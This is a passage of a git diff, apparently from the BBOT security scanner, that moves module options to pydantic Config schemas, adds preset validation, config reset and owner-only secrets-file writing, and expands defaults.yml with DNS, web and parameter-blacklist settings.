+    cfg = namespace.get("Config")
+    if cfg is None:
+        raise BBOTError(f'module "{module_name}": Config snippet did not define a class named "Config"')
+    return cfg
+
+
+def _build_validation_schema(preloaded: dict):
+    """
+    Build the composite preset validation schema.
+
+    Structure:
+        FullPresetSchema
+          ├── (all PresetSchema fields — target, modules, flags, …)
+          └── config: FullBBOTConfig
+                      ├── (all BBOTConfig fields — scope, dns, web, …)
+                      └── modules: ModulesSchema
+                                   ├── nuclei:  NucleiModuleConfig
+                                   ├── httpx:   HttpxModuleConfig
+                                   ├── sslcert: SslcertModuleConfig
+                                   └── … one field per known module
+
+    A single `FullPresetSchema.model_validate(preset_dict)` call then catches
+    every class of error in one pass:
+      - top-level preset typos (extra='forbid' on PresetSchema)
+      - global config typos / wrong types (extra='forbid' on BBOTConfig)
+      - unknown module names (extra='forbid' on ModulesSchema)
+      - wrong module option names / wrong types (extra='forbid' per module)
+    """
+    import warnings
+    from typing import Optional
+    from pydantic import ConfigDict, Field, create_model
+    from bbot.core.config.models import BaseModuleConfig, BBOTConfig, PresetSchema
+
+    module_fields = {}
+    for name, data in preloaded.items():
+        source = data.get("config_source")
+        if not source:
+            # Module declares no Config — only the universal options apply.
+            field_type = BaseModuleConfig
+        else:
+            try:
+                field_type = _exec_config_class(source, name)
+            except BBOTError as e:
+                # The Config references a name not available in the isolated exec
+                # namespace (a module-level constant, imported type, Enum, …); it's
+                # valid at real import time. Don't reject the module — accept any
+                # config for it (its own options just aren't strictly validated here).
+                log.debug(f"{e} -- accepting any config for module '{name}'")
+                field_type = dict
+        module_fields[name] = (Optional[field_type], Field(default=None))
+
+    # Some module names (e.g. `json`) shadow BaseModel's deprecated method
+    # names and trigger a UserWarning. The field still validates correctly;
+    # silence the noise.
+    with warnings.catch_warnings():
+        warnings.filterwarnings(
+            "ignore",
+            message=r'Field name ".+" in ".+" shadows an attribute in parent "BaseModel"',
+            category=UserWarning,
+        )
+        ModulesSchema = create_model(
+            "ModulesSchema",
+            __config__=ConfigDict(extra="forbid"),
+            **module_fields,
+        )
+        FullBBOTConfig = create_model(
+            "FullBBOTConfig",
+            __base__=BBOTConfig,
+            modules=(Optional[ModulesSchema], Field(default=None)),
+        )
+        FullPresetSchema = create_model(
+            "FullPresetSchema",
+            __base__=PresetSchema,
+            config=(Optional[FullBBOTConfig], Field(default=None)),
+        )
+    return FullPresetSchema
+
+
+def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict, set, set, dict]:
+    """
+    Walk a `class Config(BaseModuleConfig):` block and extract
+    `(defaults, descriptions, sensitive, mandatory, types)` -- cheap metadata
+    used for `bbot -l`, type-directed config coercion, and similar listing
+    paths, without importing or exec-ing anything.
+
+    `types` maps each field name to its raw annotation string (e.g.
+    `"bool"`, `"Union[str, list[str]]"`, `"Literal['manual', 'severe']"`).
+    The actual typed pydantic class is built later via `_exec_config_class`
+    on the captured source text.
+    """
+    defaults: dict = {}
+    descriptions: dict = {}
+    sensitive: set = set()
+    mandatory: set = set()
+    types: dict = {}
+    for node in config_class.body:
+        # `model_config = ConfigDict(...)` etc. are plain assigns, not typed -- skip.
+        if not isinstance(node, ast.AnnAssign) or not isinstance(node.target, ast.Name):
+            continue
+        name = node.target.id
+        if name.startswith("_"):
+            continue
+
+        types[name] = ast.unparse(node.annotation)
+        default = _UNEVALUATED
+        description = ""
+        is_sensitive = False
+        is_mandatory = False
+
+        value = node.value
+        if isinstance(value, ast.Call) and isinstance(value.func, ast.Name) and value.func.id == "Field":
+            # Field(default, description="...", default_factory=..., sensitive=..., mandatory=..., ...)
+            # - first positional arg is the default, if given
+            if value.args:
+                default = _eval_ast_default(value.args[0])
+            for kw in value.keywords:
+                if kw.arg == "default":
+                    default = _eval_ast_default(kw.value)
+                elif kw.arg == "default_factory":
+                    default = _eval_ast_default(kw.value)
+                elif kw.arg == "description":
+                    with suppress(ValueError, TypeError, SyntaxError):
+                        description = ast.literal_eval(kw.value)
+                elif kw.arg == "sensitive":
+                    with suppress(ValueError, TypeError, SyntaxError):
+                        is_sensitive = bool(ast.literal_eval(kw.value))
+                elif kw.arg == "mandatory":
+                    with suppress(ValueError, TypeError, SyntaxError):
+                        is_mandatory = bool(ast.literal_eval(kw.value))
+                elif kw.arg == "json_schema_extra":
+                    with suppress(ValueError, TypeError, SyntaxError):
+                        extra = ast.literal_eval(kw.value)
+                        if isinstance(extra, dict):
+                            is_sensitive = is_sensitive or bool(extra.get("sensitive"))
+                            is_mandatory = is_mandatory or bool(extra.get("mandatory"))
+        elif value is not None:
+            default = _eval_ast_default(value)
+
+        if default is _UNEVALUATED:
+            # couldn't statically determine; fall back to None so listing still works
+            default = None
+        defaults[name] = default
+        descriptions[name] = description
+        if is_sensitive:
+            sensitive.add(name)
+        if is_mandatory:
+            mandatory.add(name)
+    return defaults, descriptions, sensitive, mandatory, types
+
+
 class ModuleLoader:
     """
     Main class responsible for preloading BBOT modules.
@@ -54,7 +280,7 @@ class ModuleLoader:
     module_dir_regex = re.compile(r"^[a-z][a-z0-9_]*$")
 
     # if a module consumes these event types, automatically assume these dependencies
-    default_module_deps = {"HTTP_RESPONSE": "httpx", "URL": "httpx", "SOCIAL": "social"}
+    default_module_deps = {"HTTP_RESPONSE": "http", "URL": "http", "SOCIAL": "social"}
 
     def __init__(self):
         self.core = CORE
@@ -70,6 +296,10 @@ def __init__(self):
         self.internal_module_choices = set()
 
         self._preload_cache = None
+        # Composite preset-validation schema, built from preloaded modules.
+        # Invalidated whenever a new module is preloaded.
+        self._validation_schema = None
+        self._config_type_index = None
 
         self._module_dirs = set()
         self._module_dirs_preloaded = set()
@@ -151,7 +381,7 @@ def preload(self, module_dirs=None):
                 module_file = module_file.resolve()
 
                 # try to load from cache
-                module_cache_key = (str(module_file), tuple(module_file.stat()))
+                module_cache_key = (PRELOAD_CACHE_VERSION, str(module_file), tuple(module_file.stat()))
                 preloaded = self.preload_cache.get(module_name, {})
                 cache_key = preloaded.get("cache_key", ())
                 if preloaded and module_cache_key == cache_key:
@@ -184,6 +414,12 @@ def preload(self, module_dirs=None):
                         preloaded["namespace"] = namespace
                         preloaded["cache_key"] = module_cache_key
 
+                    except BBOTError as e:
+                        # Intentional, user-facing errors raised from preload_module
+                        # (e.g. the pre-3.0 options-dict migration message). Skip the
+                        # traceback so the message reads cleanly.
+                        log_to_stderr(str(e), level="CRITICAL")
+                        sys.exit(1)
                     except Exception:
                         log_to_stderr(f"Error preloading {module_file}\n\n{traceback.format_exc()}", level="CRITICAL")
                         log_to_stderr(f"Error in {module_file.name}", level="CRITICAL")
@@ -202,18 +438,18 @@ def preload(self, module_dirs=None):
                 self.flag_choices.update(set(flags))
 
                 self.__preloaded[module_name] = preloaded
-                config = OmegaConf.create(preloaded.get("config", {}))
-                self._configs[module_name] = config
+                self._configs[module_name] = dict(preloaded.get("config", {}))
 
             self._module_dirs_preloaded.add(module_dir)
 
         # update default config with module defaults
-        module_config = omegaconf.OmegaConf.create(
-            {
-                "modules": self.configs(),
-            }
-        )
-        self.core.merge_default(module_config)
+        self.core.merge_default({"modules": self.configs()})
+
+        # invalidate the composite validation schema; it'll rebuild lazily
+        # on next access now that the set of modules has changed
+        if new_modules:
+            self._validation_schema = None
+            self._config_type_index = None
 
         return new_modules
 
@@ -260,12 +496,94 @@ def preloaded(self, type=None):
         return preloaded
 
     def configs(self, type=None):
-        configs = {}
         if type is not None:
-            configs = {k: v for k, v in self._configs.items() if self.check_type(k, type)}
-        else:
-            configs = dict(self._configs)
-        return OmegaConf.create(configs)
+            return {k: dict(v) for k, v in self._configs.items() if self.check_type(k, type)}
+        return {k: dict(v) for k, v in self._configs.items()}
+
+    @property
+    def validation_schema(self):
+        """
+        The composite pydantic schema for validating a full preset dict.
+
+        Built lazily from preloaded module metadata and cached. Rebuilt when
+        `preload()` discovers new modules (e.g. after `add_module_dir`).
+        """
+        if self._validation_schema is None:
+            self._validation_schema = _build_validation_schema(self._preloaded)
+        return self._validation_schema
+
+    @property
+    def config_schema(self):
+        """
+        The runtime `BBOTConfig` schema with per-module configs grafted in.
+
+        This is `validation_schema.config` (i.e. `FullBBOTConfig`) and is the
+        right model to walk a config dict against — used by
+        `BBOTCore.no_secrets_config()` and `BBOTCore.secrets_only_config()` to
+        partition sensitive fields.
+        """
+        from bbot.core.config.models import _unwrap_optional
+
+        field = self.validation_schema.model_fields.get("config")
+        if field is None:
+            from bbot.core.config.models import BBOTConfig
+
+            return BBOTConfig
+        return _unwrap_optional(field.annotation)
+
+    @property
+    def config_type_index(self):
+        """{dotted_config_path: TypeAdapter} for every known config option.
+
+        Built by walking the materialized config schema (`config_schema`, i.e.
+        global config + every module's exec'd Config), so a single pydantic
+        TypeAdapter per leaf field drives coercion -- no hand-rolled type-name
+        parsing. Adapters are memoized by annotation (many fields share e.g.
+        `Optional[str]`). Nested models are recursed into via `_field_submodel`,
+        so `modules.<name>.<option>` keys fall out of the same walk.
+        """
+        if self._config_type_index is None:
+            from pydantic import ConfigDict, TypeAdapter
+            from bbot.core.config.models import _field_submodel
+
+            # coerce_numbers_to_str lets a numeric YAML value (e.g. password: 12345678)
+            # validate against a str field; pydantic is otherwise lax-but-not-that-lax.
+            adapter_config = ConfigDict(coerce_numbers_to_str=True)
+            adapter_cache = {}
+
+            def make_adapter(annotation):
+                try:
+                    if annotation in adapter_cache:
+                        return adapter_cache[annotation]
+                    hashable = True
+                except TypeError:
+                    hashable = False
+                try:
+                    adapter = TypeAdapter(annotation, config=adapter_config)
+                except Exception as e:
+                    log.debug(f"config_type_index: no TypeAdapter for {annotation!r}: {e}")
+                    adapter = None
+                if hashable:
+                    adapter_cache[annotation] = adapter
+                return adapter
+
+            index = {}
+
+            def walk(model, prefix=""):
+                for fname, field in model.model_fields.items():
+                    sub = _field_submodel(field)
+                    for key in {fname, getattr(field, "alias", None)} - {None}:
+                        dotted = f"{prefix}.{key}" if prefix else key
+                        if sub is not None:
+                            walk(sub, dotted)
+                        else:
+                            adapter = make_adapter(field.annotation)
+                            if adapter is not None:
+                                index[dotted] = adapter
+
+            walk(self.config_schema)
+            self._config_type_index = index
+        return self._config_type_index
 
     def find_and_replace(self, **kwargs):
         self.__preloaded = search_format_dict(self.__preloaded, **kwargs)
@@ -298,9 +616,8 @@ def preload_module(self, module_file):
                 ],
                 "flags": [
                     "active",
-                    "safe",
-                    "web-basic",
-                    "web-thorough"
+                    "web",
+                    "web-heavy"
                 ],
                 "meta": {
                     "description": "Extract technologies from web responses"
@@ -310,7 +627,7 @@ def preload_module(self, module_file):
                 "hash": "d5a88dd3866c876b81939c920bf4959716e2a374",
                 "deps": {
                     "modules": [
-                        "httpx"
+                        "http"
                     ]
                     "pip": [
                         "python-Wappalyzer~=0.3.1"
@@ -336,8 +653,15 @@ def preload_module(self, module_file):
         ansible_tasks = []
         config = {}
         options_desc = {}
+        options_sensitive: set = set()
+        options_mandatory: set = set()
+        options_types: dict = {}
+        config_source: str | None = None
+        legacy_options_keyword: str | None = None
+        legacy_options_line: int | None = None
         disable_auto_module_deps = False
-        python_code = open(module_file).read()
+        with open(module_file) as f:
+            python_code = f.read()
         # take a hash of the code so we can keep track of when it changes
         module_hash = sha1(python_code).hexdigest()
         parsed_code = ast.parse(python_code)
@@ -361,19 +685,46 @@ def preload_module(self, module_file):
             # look for classes
             if type(root_element) == ast.ClassDef:
                 for class_attr in root_element.body:
+                    # nested `class Config(BaseModuleConfig): ...` — the module's config schema
+                    if type(class_attr) == ast.ClassDef and class_attr.name == "Config":
+                        config_fields, config_descs, config_sens, config_mand, config_types = _extract_pydantic_config(
+                            class_attr
+                        )
+                        config.update(config_fields)
+                        options_desc.update(config_descs)
+                        options_sensitive.update(config_sens)
+                        options_mandatory.update(config_mand)
+                        options_types.update(config_types)
+                        # capture the class source verbatim; schema build re-execs it
+                        config_source = ast.get_source_segment(python_code, class_attr)
+                        continue
+
+                    # annotated legacy form (`options: dict = {...}` -> ast.AnnAssign) must
+                    # also be caught, otherwise it slips the 3.0 legacy-options rejection below
+                    if (
+                        legacy_options_keyword is None
+                        and isinstance(class_attr, ast.AnnAssign)
+                        and isinstance(class_attr.target, ast.Name)
+                        and class_attr.target.id in ("options", "options_desc")
+                    ):
+                        legacy_options_keyword = class_attr.target.id
+                        legacy_options_line = class_attr.lineno
+
                     if not type(class_attr) == ast.Assign:
                         continue
 
-                    # class attributes that are dictionaries
+                    # legacy options/options_desc dict: record so we can fail
+                    # with a migration hint after the walk completes
+                    if legacy_options_keyword is None:
+                        for target in class_attr.targets:
+                            if isinstance(target, ast.Name) and target.id in ("options", "options_desc"):
+                                legacy_options_keyword = target.id
+                                legacy_options_line = class_attr.lineno
+                                break
+
+                    # module metadata
                     if type(class_attr.value) == ast.Dict:
-                        # module options
-                        if any(target.id == "options" for target in class_attr.targets):
-                            config.update(ast.literal_eval(class_attr.value))
-                        # module options
-                        elif any(target.id == "options_desc" for target in class_attr.targets):
-                            options_desc.update(ast.literal_eval(class_attr.value))
-                        # module metadata
-                        elif any(target.id == "meta" for target in class_attr.targets):
+                        if any(target.id == "meta" for target in class_attr.targets):
                             meta = ast.literal_eval(class_attr.value)
 
                     # class attributes that are lists
@@ -432,6 +783,25 @@ def preload_module(self, module_file):
                             if type(class_attr.value.value) == bool:
                                 disable_auto_module_deps = class_attr.value.value
 
+        # Reject the pre-3.0 options/options_desc dict format. Those dicts are
+        # silently ignored by the new loader: defaults disappear and setting
+        # them via -c or YAML emits misleading "did you mean ...?" suggestions
+        # pointing at unrelated modules.
+        module_name = module_file.stem
+        if legacy_options_keyword is not None and config_source is None:
+            raise BBOTError(
+                f'Module "{module_name}" ({module_file}:{legacy_options_line}) declares a legacy '
+                f"`{legacy_options_keyword}` dict, which is no longer supported in BBOT 3.0+.\n\n"
+                f"Replace the `options` / `options_desc` dicts with a nested\n"
+                f"`class Config(BaseModuleConfig)` schema. For example:\n\n"
+                f"    from bbot.core.config.models import BaseModuleConfig, Field\n\n"
+                f"    class {module_name}(BaseModule):\n"
+                f"        ...\n"
+                f"        class Config(BaseModuleConfig):\n"
+                f'            api_key: str = Field("", description="API key", sensitive=True)\n'
+                f'            max_results: int = Field(100, description="Max results to return")\n'
+            )
+
         for task in ansible_tasks:
             if "become" not in task:
                 task["become"] = False
@@ -447,6 +817,10 @@ def preload_module(self, module_file):
             "meta": meta,
             "config": config,
             "options_desc": options_desc,
+            "options_sensitive": sorted(options_sensitive),
+            "options_mandatory": sorted(options_mandatory),
+            "options_types": options_types,
+            "config_source": config_source,
             "hash": module_hash,
             "deps": {
                 "modules": sorted(deps_modules),
@@ -562,12 +936,11 @@ def modules_table(self, modules=None, mod_type=None, include_author=False, inclu
 
         Examples:
             >>> print(modules_table(["portscan"]))
-            +----------+--------+-----------------+------------------------------+-------------------------------+----------------------+-------------------+
-            | Module   | Type   | Needs API Key   | Description                  | Flags                         | Consumed Events      | Produced Events   |
-            +==========+========+=================+==============================+===============================+======================+===================+
-            | portscan | scan   | No              | Execute port scans           | active, aggressive, portscan, | DNS_NAME, IP_ADDRESS | OPEN_TCP_PORT     |
-            |          |        |                 |                              | web-thorough                  |                      |                   |
-            +----------+--------+-----------------+------------------------------+-------------------------------+----------------------+-------------------+
+            +----------+--------+-----------------+------------------------------+------------------+----------------------+-------------------+
+            | Module   | Type   | Needs API Key   | Description                  | Flags            | Consumed Events      | Produced Events   |
+            +==========+========+=================+==============================+==================+======================+===================+
+            | portscan | scan   | No              | Execute port scans           | active, portscan | DNS_NAME, IP_ADDRESS | OPEN_TCP_PORT     |
+            +----------+--------+-----------------+------------------------------+------------------+----------------------+-------------------+
         """
 
         table = []
@@ -582,9 +955,8 @@ def modules_table(self, modules=None, mod_type=None, include_author=False, inclu
             consumed_events = sorted(preloaded.get("watched_events", []))
             produced_events = sorted(preloaded.get("produced_events", []))
             flags = sorted(preloaded.get("flags", []))
-            api_key_required = ""
             meta = preloaded.get("meta", {})
-            api_key_required = "Yes" if meta.get("auth_required", False) else "No"
+            api_key_required = "Yes" if preloaded.get("options_mandatory") else "No"
             description = meta.get("description", "")
             row = [
                 module_name,
@@ -613,9 +985,10 @@ def modules_options(self, modules=None, mod_type=None):
             modules_options[module_name] = []
             module_options = preloaded["config"]
             module_options_desc = preloaded["options_desc"]
+            module_options_types = preloaded.get("options_types", {})
             for k, v in sorted(module_options.items(), key=lambda x: x[0]):
                 option_name = f"modules.{module_name}.{k}"
-                option_type = type(v).__name__
+                option_type = module_options_types.get(k, type(v).__name__)
                 option_description = module_options_desc[k]
                 modules_options[module_name].append((option_name, option_type, option_description, str(v)))
         return modules_options
@@ -690,35 +1063,120 @@ def filter_modules(self, modules=None, mod_type=None):
         module_list.sort(key=lambda x: x[-1]["type"], reverse=True)
         return module_list
 
-    def ensure_config_files(self):
+    def _generated_config_files(self):
+        """The config files BBOT generates, each paired with the content it
+        should currently hold and the CLI flag that regenerates it.
+
+        Creation and reset both iterate this list, so the two files stay fully
+        independent: a `secrets.yml` full of API keys is never touched just
+        because `bbot.yml`'s options changed, and vice versa.
+        """
         files = self.core.files_config
-        mkdir(files.config_dir)
+        config_obj = dict(self.core.default_config)
+        return [
+            {
+                "label": "config",
+                "path": files.config_filename,
+                "content": self.core.no_secrets_config(config_obj),
+                "secret": False,
+                "reset_flag": "--reset-config",
+            },
+            {
+                "label": "secrets",
+                "path": files.secrets_filename,
+                "content": self.core.secrets_only_config(config_obj),
+                "secret": True,
+                "reset_flag": "--reset-secrets",
+            },
+        ]
+
+    def ensure_config_files(self):
+        """Create any of the user's generated config files that are missing.
 
-        comment_notice = (
+        Each file is a fully-commented snapshot of the current defaults,
+        written once and never overwritten.
+        """
+        mkdir(self.core.files_config.config_dir)
+        for spec in self._generated_config_files():
+            if not spec["path"].exists():
+                log_to_stderr(f"Creating BBOT {spec['label']} at {spec['path']}")
+                self._write_config_template(spec["path"], spec["content"], secret=spec["secret"])
+
+    def reset_config_files(self, labels):
+        """Regenerate the named generated config files (`"config"` and/or
+        `"secrets"`) from current defaults, backing up existing files to
+        `*.bak`. Returns the backup paths.
+
+        Destructive: a regenerated file is a fresh commented template, so any
+        options the user uncommented in it are not carried over.
+        """
+        mkdir(self.core.files_config.config_dir)
+        backups = []
+        for spec in self._generated_config_files():
+            if spec["label"] not in labels:
+                continue
+            path = spec["path"]
+            if path.exists():
+                backup = self._next_backup_path(path)
+                # copy2 preserves the file's permissions, so a backup of a
+                # hardened secrets.yml stays just as locked-down
+                shutil.copy2(path, backup)
+                backups.append(backup)
+            self._write_config_template(path, spec["content"], secret=spec["secret"])
+        return backups
+
+    @staticmethod
+    def _next_backup_path(path):
+        """First free `<name>.bak`, `<name>.bak.1`, `<name>.bak.2`, ... so an
+        existing backup from a previous reset isn't clobbered."""
+        backup = path.with_name(path.name + ".bak")
+        i = 1
+        while backup.exists():
+            backup = path.with_name(f"{path.name}.bak.{i}")
+            i += 1
+        return backup
+
+    @classmethod
+    def _write_config_template(cls, path, config_dict, secret=False):
+        header = (
             "# NOTICE: THESE ENTRIES ARE COMMENTED BY DEFAULT\n"
-            + "# Please be sure to uncomment when inserting API keys, etc.\n"
+            "# Please be sure to uncomment when inserting API keys, etc.\n"
         )
+        yaml_str = yaml.dump(config_dict, sort_keys=False)
+        yaml_str = header + "\n".join(f"# {line}" for line in yaml_str.splitlines())
+        if secret:
+            cls._write_secret_text(path, yaml_str)
+        else:
+            with open(str(path), "w") as f:
+                f.write(yaml_str)
 
-        config_obj = OmegaConf.to_object(self.core.default_config)
-
-        # ensure bbot.yml
-        if not files.config_filename.exists():
-            log_to_stderr(f"Creating BBOT config at {files.config_filename}")
-            no_secrets_config = self.core.no_secrets_config(config_obj)
-            yaml = OmegaConf.to_yaml(no_secrets_config)
-            yaml = comment_notice + "\n".join(f"# {line}" for line in yaml.splitlines())
-            with open(str(files.config_filename), "w") as f:
-                f.write(yaml)
-
-        # ensure secrets.yml
-        if not files.secrets_filename.exists():
-            log_to_stderr(f"Creating BBOT secrets at {files.secrets_filename}")
-            secrets_only_config = self.core.secrets_only_config(config_obj)
-            yaml = OmegaConf.to_yaml(secrets_only_config)
-            yaml = comment_notice + "\n".join(f"# {line}" for line in yaml.splitlines())
-            with open(str(files.secrets_filename), "w") as f:
-                f.write(yaml)
-            files.secrets_filename.chmod(0o600)
+    @staticmethod
+    def _write_secret_text(path, text):
+        """Write a secrets file so it is never readable by anyone but the owner,
+        even for an instant. The content is written to a private temp file
+        (mkstemp creates it 0600) and atomically renamed into place; an existing
+        file's own permissions are preserved in case the user hardened them
+        further (e.g. 0400). If owner-only permissions can't be guaranteed, the
+        secret is not written."""
+        path = Path(path)
+        mode = 0o600
+        with suppress(FileNotFoundError):
+            existing_mode = stat.S_IMODE(path.stat().st_mode)
+            # keep the user's perms only if they're already owner-only
+            if not existing_mode & 0o077:
+                mode = existing_mode
+        fd, tmp = tempfile.mkstemp(dir=str(path.parent), prefix=f".{path.name}.", suffix=".tmp")
+        try:
+            os.fchmod(fd, mode)
+            with os.fdopen(fd, "w") as f:
+                f.write(text)
+            if stat.S_IMODE(os.stat(tmp).st_mode) & 0o077:
+                raise BBOTError(f"Refusing to write secrets to {path}: could not restrict permissions to owner-only")
+            os.replace(tmp, str(path))
+        except BaseException:
+            with suppress(FileNotFoundError):
+                os.unlink(tmp)
+            raise
 
 
 MODULE_LOADER = ModuleLoader()
diff --git a/bbot/core/shared_deps.py b/bbot/core/shared_deps.py
index c3b7623654..49fa2d69cf 100644
--- a/bbot/core/shared_deps.py
+++ b/bbot/core/shared_deps.py
@@ -1,15 +1,3 @@
-DEP_FFUF = [
-    {
-        "name": "Download ffuf",
-        "unarchive": {
-            "src": "https://github.com/ffuf/ffuf/releases/download/v#{BBOT_DEPS_FFUF_VERSION}/ffuf_#{BBOT_DEPS_FFUF_VERSION}_#{BBOT_OS}_#{BBOT_CPU_ARCH_GOLANG}.tar.gz",
-            "include": "ffuf",
-            "dest": "#{BBOT_TOOLS}",
-            "remote_src": True,
-        },
-    }
-]
-
 DEP_DOCKER = [
     {
         "name": "Check if Docker is already installed",
@@ -244,7 +232,7 @@
     },
 ]
 
-# shared module dependencies -- ffuf, massdns, chromium, etc.
+# shared module dependencies -- massdns, chromium, etc.
 SHARED_DEPS = {}
 for var, val in list(locals().items()):
     if var.startswith("DEP_") and isinstance(val, list):
diff --git a/bbot/defaults.yml b/bbot/defaults.yml
index 64614d08e1..3a3d53a55c 100644
--- a/bbot/defaults.yml
+++ b/bbot/defaults.yml
@@ -1,11 +1,26 @@
 ### BASIC OPTIONS ###
 
+# NOTE: If used in a preset, these options must be nested underneath "config:" like so:
+# config:
+#   home: ~/.bbot
+#   keep_scans: 20
+#   scope:
+#     strict: true
+#   dns:
+#     minimal: true
+
 # BBOT working directory
 home: ~/.bbot
 # How many scan results to keep before cleaning up the older ones
 keep_scans: 20
 # Interval for displaying status messages
 status_frequency: 15
+# When system memory exceeds this percentage, ingress is throttled with a per-event sleep
+# that scales linearly from 0s at the threshold up to 5s at threshold+5 (capped at 95%).
+# Last-ditch effort to give the pipeline a chance to drain before OOM.
+max_mem_percent: 90
+# Redact secrets (API keys, tokens, etc.) in the saved preset.yml
+redact_secrets: true
 # Include the raw data of files (i.e. PDFs, web screenshots) as base64 in the event
 file_blobs: false
 # Include the raw data of directories (i.e. git repos) as tar.gz base64 in the event
@@ -15,7 +30,7 @@ folder_blobs: false
 
 scope:
   # strict scope means only exact DNS names are considered in-scope
-  # subdomains are not included unless they are explicitly provided in the target list
+  # their subdomains are not included unless explicitly added to the target
   strict: false
   # Filter by scope distance which events are displayed in the output
   # 0 == show only in-scope events (affiliates are always shown)
@@ -28,12 +43,14 @@ scope:
 ### DNS ###
 
 dns:
-  # Completely disable DNS resolution (careful if you have IP whitelists/blacklists, consider using minimal=true instead)
+  # Completely disable DNS resolution (careful if you have IP targets/blacklists, consider using minimal=true instead)
   disable: false
   # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records
   minimal: false
-  # How many instances of the dns module to run concurrently
-  threads: 25
+  # How many threads to use per resolver (best way to increase speed is to put more resolvers in /etc/resolv.conf)
+  threads: 10
+  # How many DNS records to cache
+  cache_size: 100000
   # How many concurrent DNS resolvers to use when brute-forcing
   # (under the hood this is passed through directly to massdns -s)
   brute_threads: 1000
@@ -58,8 +75,10 @@ dns:
   wildcard_tests: 10
   # Skip DNS requests for a certain domain and rdtype after encountering this many timeouts or SERVFAILs
   # This helps prevent faulty DNS servers from hanging up the scan
-  abort_threshold: 50
-  # Don't show PTR records containing IP addresses
+  abort_threshold: 10
+  # Treat hostnames discovered via PTR records as affiliates instead of in-scope
+  # This prevents rDNS results (e.g. 1-2-3-4.ptr.example.com) from triggering
+  # subdomain enumeration against unrelated domains when scanning IP ranges
   filter_ptrs: true
   # Enable/disable debug messages for DNS queries
   debug: false
@@ -75,18 +94,23 @@ dns:
 web:
   # HTTP proxy
   http_proxy:
+  # Hosts/CIDRs to exclude from HTTP proxy (NO_PROXY equivalent)
+  # Examples: ["localhost", "*.internal.corp", "10.0.0.0/8", "elastic.mycompany.com"]
+  http_proxy_exclude: []
   # Web user-agent
   user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.2151.97
+  # Suffix to append to user-agent (e.g. for tracking or identification)
+  user_agent_suffix:
   # Set the maximum number of HTTP links that can be followed in a row (0 == no spidering allowed)
   spider_distance: 0
   # Set the maximum directory depth for the web spider
   spider_depth: 1
   # Set the maximum number of links that can be followed per page
   spider_links_per_page: 25
-  # HTTP timeout (for Python requests; API calls, etc.)
+  # HTTP timeout for target-directed traffic (probes, crawls, etc.)
   http_timeout: 10
-  # HTTP timeout (for httpx)
-  httpx_timeout: 5
+  # HTTP timeout for non-target traffic (APIs, wordlist downloads, etc.)
+  http_timeout_infrastructure: 10
   # Custom HTTP headers (e.g. cookies, etc.)
   # in the format { "Header-Key": "header_value" }
   # These are attached to all in-scope HTTP requests
@@ -98,8 +122,6 @@ web:
   api_retries: 2
   # HTTP retries - try again if the raw connection fails
   http_retries: 1
-  # HTTP retries (for httpx)
-  httpx_retries: 1
   # Default sleep interval when rate limited by 429 (and retry-after isn't provided)
   429_sleep_interval: 30
   # Maximum sleep interval when rate limited by 429 (and an excessive retry-after is provided)
@@ -108,8 +130,23 @@ web:
   debug: false
   # Maximum number of HTTP redirects to follow
   http_max_redirects: 5
-  # Whether to verify SSL certificates
-  ssl_verify: false
+  # Whether to verify SSL certificates for target-directed traffic (probes, crawls, etc.)
+  ssl_verify_target: false
+  # Whether to verify SSL certificates for non-target traffic (APIs, wordlist downloads, etc.)
+  ssl_verify_infrastructure: true
+  # Maximum HTTP requests per second (0 = unlimited)
+  # Applies globally across all blasthttp consumers (http probing, web brute, etc.)
+  http_rate_limit: 0
+  # HTTP_RESPONSE body disk-spill — keeps body bytes off the Python heap.
+  # Bodies are written to ${scan_home}/temp/bodies/{uuid}.body.zst and served
+  # from a bounded LRU cache; only cache misses touch disk.
+  body_spill:
+    # Master switch
+    enabled: true
+    # In-memory LRU cache budget for hot bodies, in MB
+    cache_mb: 512
+    # zstd level-1 compression on the way to disk
+    compress: true
 
 ### ENGINE ###
 
@@ -118,8 +155,6 @@ engine:
 
 # Tool dependencies
 deps:
-  ffuf:
-    version: "2.1.0"
   # How to handle installation of module dependencies
   # Choices are:
   #  - abort_on_failure (default) - if a module dependency fails to install, abort the scan
@@ -149,6 +184,8 @@ aggregate: True
 dnsresolve: True
 # Cloud provider tagging
 cloudcheck: True
+# Python API event bridge
+python: True
 
 # Strip querystring from URLs by default
 url_querystring_remove: True
@@ -246,20 +283,61 @@ parameter_blacklist:
   - __SCROLLPOSITIONY
   - __SCROLLPOSITIONX
   - ASP.NET_SessionId
+  - .AspNetCore.Session
   - PHPSESSID
+  - sessionid
+  - csrftoken
+  - XSRF-TOKEN
   - __cf_bm
+  - _cfuvid
+  - cf_clearance
+  - _abck
+  - bm_sz
+  - bm_sv
+  - ak_bmsc
   - f5_cspm
+  # CSRF / Anti-Forgery tokens
+  - authenticity_token
+  - csrfmiddlewaretoken
+  - __RequestVerificationToken
+  - antiforgerytoken
+  - __csrf_magic
+  - _wpnonce
+  # ASP.NET session/identity cookies
+  - .ASPXANONYMOUS
+  - .ASPXAUTH
+  # PKCE (Proof Key for Code Exchange)
+  - code_verifier
+  - code_challenge
+  # Analytics
+  - _ga
+  - _gid
+  - _gat
+  - _gcl_au
+  - _fbp
+  - _fbc
+  - __utma
+  - __utmb
+  - __utmc
+  - __utmz
+  - _hjid
 
 parameter_blacklist_prefixes:
   - TS01
   - BIGipServer
+  - f5avr
   - incap_
   - visid_incap_
+  - nlbi_
   - AWSALB
   - utm_
   - ApplicationGatewayAffinity
   - JSESSIONID
   - ARRAffinity
+  - _hjSession
+  - _gat_
+  - intercom-
+  - OAMRequestContext_
 
 # Don't output these types of events (they are still distributed to modules)
 omit_event_types:
@@ -276,3 +354,7 @@ omit_event_types:
 interactsh_server: null
 interactsh_token: null
 interactsh_disable: false
+
+# API key for bbot.io services (currently used by ASN lookups via the asndb library)
+# Can also be set via the BBOT_IO_API_KEY environment variable, which takes precedence.
+bbot_io_api_key: null
diff --git a/bbot/errors.py b/bbot/errors.py
index a5ab9619b3..0985886623 100644
--- a/bbot/errors.py
+++ b/bbot/errors.py
@@ -38,10 +38,6 @@ class WordlistError(BBOTError):
     pass
 
 
-class CurlError(BBOTError):
-    pass
-
-
 class PresetNotFoundError(BBOTError):
     pass
 
@@ -66,17 +62,17 @@ class PresetAbortError(PresetConditionError):
     pass
 
 
-class BBOTEngineError(BBOTError):
+class WebError(BBOTError):
     pass
 
 
